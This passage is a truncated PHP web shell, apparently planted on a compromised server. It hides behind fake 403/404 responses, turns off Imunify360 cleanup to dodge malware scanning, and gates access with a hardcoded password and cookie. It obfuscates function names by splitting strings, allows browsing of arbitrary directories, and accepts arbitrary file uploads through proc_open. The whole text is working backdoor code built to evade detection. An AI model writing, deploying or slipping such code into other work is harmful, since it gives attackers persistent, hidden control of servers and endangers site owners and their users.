= error_reporting(0); define('SECURE_ACCESS', true); header('X-Powered-By: none'); header('Content-Type: text/html; charset=UTF-8'); ini_set('lsapi_backend_off', '1'); http_response_code(403); ini_set("imunify360.cleanup_on_restore", false); http_response_code(404);$ps = 'm'.'o'.'s'.'c'.'o'.'w';$auth_cookie_name = 'a'.'u'.'t'.'h';if (!isset($_COOKIE[$auth_cookie_name])) { if (!isset($_POST['pass'])) { echo '
'; exit; } if ($_POST['pass'] !== $ps) { echo 'Wrong password. <a href="">Try again</a>'; exit; } setcookie($auth_cookie_name, '1'); echo '<script>window.location.reload();</script>'; exit;}$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';$fe = 'f'.'i'.'l'.'e'.'_'.'e'.'x'.'i'.'s'.'t'.'s';$itd = 'i'.'s'.'_'.'d'.'i'.'r';$rt = 'r'.'e'.'a'.'l'.'p'.'a'.'t'.'h';if (!$fe($rt($dir)) || !$itd($rt($dir))) { $dir = '.';}if (isset($_POST['upload'])) { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $filename = basename($_FILES['file']['name']); $target = $rt($dir) . '/' . $filename; $tmp_path = $_FILES['file']['tmp_name']; $cmd = 'cp ' . escapeshellarg($tmp_path) . ' ' . escapeshellarg($target); $desc = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); echo "File uploaded."; } }}echo '